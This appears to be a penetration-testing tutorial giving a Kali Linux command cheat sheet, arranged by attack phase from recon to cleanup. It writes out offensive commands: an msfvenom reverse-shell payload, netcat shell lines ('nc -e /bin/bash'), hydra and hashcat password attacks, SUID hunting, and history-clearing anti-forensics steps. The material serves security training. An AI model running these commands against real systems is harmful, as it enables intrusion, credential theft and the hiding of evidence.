Let me say this honestly — Kali Linux doesn’t make you a hacker. Commands do.
Over the last 20+ years working in penetration testing labs, enterprise red-team engagements, incident response war rooms, and security training classrooms, I’ve noticed one consistent pattern:
👉 Beginners install Kali.
👉 Open Terminal.
👉 Then freeze.
Because nobody really teaches what commands actually matter in real assessments.
This Kali Linux Commands List – 200+ Commands Cheat Sheet is exactly what I teach junior analysts during their first month of hands-on security training. Not theory. Not documentation language. Just practical usage — the commands you’ll actually type during reconnaissance, exploitation, privilege escalation, and defense.
Now let’s break this down properly.
Understanding Kali Linux Commands (Simple Explanation)
Think of Kali Linux terminal as your control center.
Every penetration test — whether web, network, cloud, or internal infrastructure — follows roughly this flow:
- System navigation
- Network discovery
- Information gathering
- Enumeration
- Exploitation
- Privilege escalation
- Post exploitation
- Cleanup & reporting
And guess what connects all these stages?
✅ Commands.
In real assessments, GUI tools slow you down. Terminal commands give speed, automation, stealth, and precision.
🖥️ Basic Linux Navigation Commands (Foundation Layer)
Most beginners skip this part — huge mistake.
Essential File & Directory Commands
pwd
ls
ls -la
cd
cd ..
mkdir
rmdir
touch
cp
mv
rm
rm -rf
tree
clear
history
Their usage is mentioned below:
pwd
Use: Shows current directory.
Real Use Case:
During exploitation, you must know where payloads are stored.
ls
Use: Lists files in directory.
ls
Shows visible files.
ls -la
Use: Show all files including hidden ones.
Hidden files start with .
ls -la
⚡ Attackers often hide persistence files here.
cd
Use: Change directory.
cd /var/www
Moves into web server folder.
cd ..
Use: Move one level up.
mkdir
Use: Create directory.
mkdir scans
Professionals separate scan results properly.
touch
Use: Create empty file.
touch notes.txt
Useful for documentation during testing.
cp
Use: Copy files.
cp exploit.sh /tmp
mv
Use: Move or rename files.
mv shell.php backup.php
rm
Use: Delete file.
rm file.txt
rm -rf
Use: Force delete directory.
⚠ Dangerous command.
rm -rf folder/
history
Use: Shows previously executed commands.
Real-world use:
During internal penetration tests, you constantly move between payload folders, scan outputs, and exploit scripts.
File Viewing Commands
cat
less
more
head
tail
tail -f
nano
vi
file
stat
✅ tail -f becomes critical while monitoring logs during exploitation.
⚠️ Beginner Mistake Alert
Many learners depend only on GUI editors. During SSH access to compromised servers, GUI doesn’t exist.
Terminal editing saves engagements.
👤 User & Permission Management Commands
Privilege escalation lives here.
whoami
id
groups
sudo
su
passwd
adduser
deluser
chmod
chmod 777
chmod +x
chown
In detail for above useful ones:
whoami
Shows current logged-in user.
whoami
First command after gaining shell access.
id
Displays:
- UID
- GID
- Groups
Helps identify privilege level.
sudo
Run command as administrator.
sudo apt update
su
Switch user.
su root
chmod
Change permissions.
chmod +x exploit.sh
Makes script executable.
Permission Meaning:
- r = read
- w = write
- x = execute
chown
Change ownership.
chown kali:kali file.txt
Why this matters?
In real assessments, compromised users rarely have admin rights.
You must understand permissions deeply.
Example:
chmod +x exploit.sh
Without execution permission → exploit fails.
Simple. Painfully common mistake.
🌐 Network Configuration Commands
Now things get interesting.
ifconfig
ip a
ip route
route
netstat
ss
arp
hostname
ping
traceroute
mtr
ifconfig
Displays network interfaces.
ifconfig
Shows IP address.
ip a
Modern replacement for ifconfig.
ping
Checks connectivity.
ping target.com
netstat
Shows active connections.
netstat -tulnp
Find listening ports.
ss
Faster alternative to netstat.
arp
Displays ARP table.
Useful for local network discovery.
traceroute
Shows path packets travel.
Helps map infrastructure.
Field Insight
During a banking infrastructure assessment, a forgotten internal subnet was discovered purely using routing inspection.
Sometimes the vulnerability isn’t software — it’s visibility.
🔍 Information Gathering Commands (Recon Phase)
This is where ethical hacking actually begins.
nmap
netdiscover
dnsenum
whois
dig
nslookup
theharvester
recon-ng
amass
whatweb
nmap
Network scanner.
nmap -sV target
Detects services & versions.
nmap -p-
Scan all ports.
nmap -A
Aggressive scan:
- OS detection
- Scripts
- Versions
whois
Domain ownership info.
whois domain.com
dig
DNS lookup.
dig google.com
nslookup
Alternative DNS query tool.
theharvester
Email & subdomain gathering.
theharvester -d domain.com -b google
amass
Advanced subdomain enumeration.
Example Workflow
nmap -sC -sV target.com
Reveals:
- Open ports
- Services
- Versions
And versions mean vulnerabilities.
📌 Pro Tip from Field Experience
Never run aggressive scans first in real environments.
Start silent → escalate gradually.
Noise equals detection.
📡 Nmap Advanced Command Cheat Sheet
You’ll use these constantly.
nmap -sn
nmap -p-
nmap -A
nmap -O
nmap -T4
nmap --script vuln
nmap -sS
nmap -sU
nmap -Pn
nmap --open
Real Scenario:
Firewall blocking ping?
nmap -Pn target
Problem solved.
🕵️ Enumeration Commands
Now here’s where most beginners get confused…
Scanning ≠ Enumeration.
Enumeration extracts usable intelligence.
enum4linux
smbclient
rpcclient
showmount
nbtscan
ldapsearch
snmpwalk
nikto
dirb
gobuster
wfuzz
feroxbuster
enum4linux
Enumerates Windows SMB shares.
enum4linux target
Finds users & shares.
smbclient
Access SMB shares.
smbclient -L //target
nikto
Web vulnerability scanner.
nikto -h target.com
gobuster
Directory brute force.
gobuster dir -u target -w wordlist.txt
Find hidden paths.
wfuzz
Web fuzzing tool.
Web Enumeration Example
gobuster dir -u http://target -w wordlist.txt
Finds hidden admin panels surprisingly often.
⚠️ Beginner Mistake Alert
People rush exploitation without enumeration.
90% of successful hacks come from enumeration patience.
💣 Exploitation Commands
Now we enter offensive territory.
msfconsole
searchsploit
msfvenom
exploitdb
sqlmap
hydra
john
hashcat
crackmapexec
impacket tools
msfconsole
Launch Metasploit framework.
msfconsole
Central exploitation platform.
searchsploit
Offline exploit database.
searchsploit apache
msfvenom
Payload generator.
msfvenom -p linux/x64/shell_reverse_tcp LHOST=IP LPORT=4444 -f elf > shell.elf
sqlmap
SQL Injection automation.
sqlmap -u URL --dbs
hydra
Password brute force.
hydra -l admin -P pass.txt ssh://target
john
Password cracking.
john hash.txt
hashcat
GPU-based cracking.
Metasploit Basics
msfconsole
search exploit
use exploit/module
set RHOSTS
set LHOST
run
Simple workflow — extremely powerful.
Password Attacks
hydra -l admin -P passwords.txt ssh://target
john hashes.txt
hashcat -m 0 hash.txt wordlist.txt
In real environments?
Weak passwords still dominate breaches.
Yes… even in 2026.
🔐 Wireless Attacking Commands
(Only for authorized labs & testing)
airmon-ng
airodump-ng
aireplay-ng
aircrack-ng
wash
reaver
wifite
airmon-ng
Enable monitor mode.
airmon-ng start wlan0
airodump-ng
Capture wireless packets.
aireplay-ng
Packet injection.
aircrack-ng
Crack WiFi password.
⚙️ System Monitoring & Process Commands
top
htop
ps aux
kill
kill -9
jobs
bg
fg
uptime
free -m
df -h
du -sh
During post-exploitation, monitoring system load prevents crashes that expose you.
🧱 Privilege Escalation Commands
Critical phase.
sudo -l
find / -perm -4000 2>/dev/null
linpeas.sh
uname -a
env
getcap -r /
Real Assessment Story
A production Linux server once exposed root access because of a misconfigured SUID binary.
Single command:
find / -perm -4000
Escalation completed in minutes.
📌 Pro Tip from Field Experience
Privilege escalation succeeds more through misconfiguration than exploits.
Admins make mistakes. Attackers notice.
📂 File Transfer Commands
You’ll constantly move payloads.
scp
wget
curl
ftp
python3 -m http.server
nc
rsync
Example quick server:
python3 -m http.server 8080
Fastest payload hosting trick ever.
🔗 Netcat (Hacker’s Swiss Army Knife)
nc -lvnp 4444
nc target 4444
nc -e /bin/bash
Reverse shells. Bind shells. File transfer.
Netcat never gets old.
🧠 Log & Forensics Commands
Blue teams rely heavily here.
last
lastlog
dmesg
journalctl
grep
awk
sed
strings
Incident responders practically live inside logs.
🧹 Cleanup Commands (Often Ignored)
Professional hackers clean traces.
history -c
unset HISTFILE
rm logs
Ethical rule: cleanup after authorized testing.
✅ Kali Linux Commands Master Checklist
Recon
- Network discovery
- Port scanning
- Service detection
Enumeration
- SMB
- Web directories
- Users & shares
Exploitation
- Vulnerability match
- Payload creation
- Access gain
Post Exploitation
- Privilege escalation
- Persistence
- Data validation
⚠️ Common Mistakes I See in Students
- Memorizing commands without understanding.
- Running loud scans immediately.
- Ignoring Linux basics.
- Copy-pasting exploits blindly.
- Not documenting commands used.
Real pentesters document everything.
Always.
🛡️ Defensive & Ethical Considerations
Let’s be clear.
These commands are tools — not permission.
Always ensure:
- Written authorization
- Defined scope
- Legal engagement
- Responsible disclosure
Professional reputation matters more than technical skill.
🚀 Quick Actionable Takeaways
✅ Master terminal navigation first
✅ Learn Nmap deeply
✅ Enumeration beats exploitation
✅ Understand permissions
✅ Automate repetitive commands
Consistency builds skill — not tools.
Quick Recap
The Kali Linux Commands List – 200+ Commands Cheat Sheet isn’t about memorization.
It’s about workflow thinking.
When you understand why a command is used, you stop being a tool user and start thinking like an attacker — or defender.
That’s the real transition.
FAQs
❓Do I need to memorize all Kali commands?
No. Learn categories first. Muscle memory develops naturally.
❓Which command should beginners master first?
nmap — without question.
❓Is Metasploit enough for penetration testing?
Not even close. Manual enumeration wins engagements.
❓How long to become comfortable with Kali?
Daily practice for 3–6 months changes everything.
❓Do professionals still use terminal heavily?
Almost exclusively.
GUI tools are secondary.
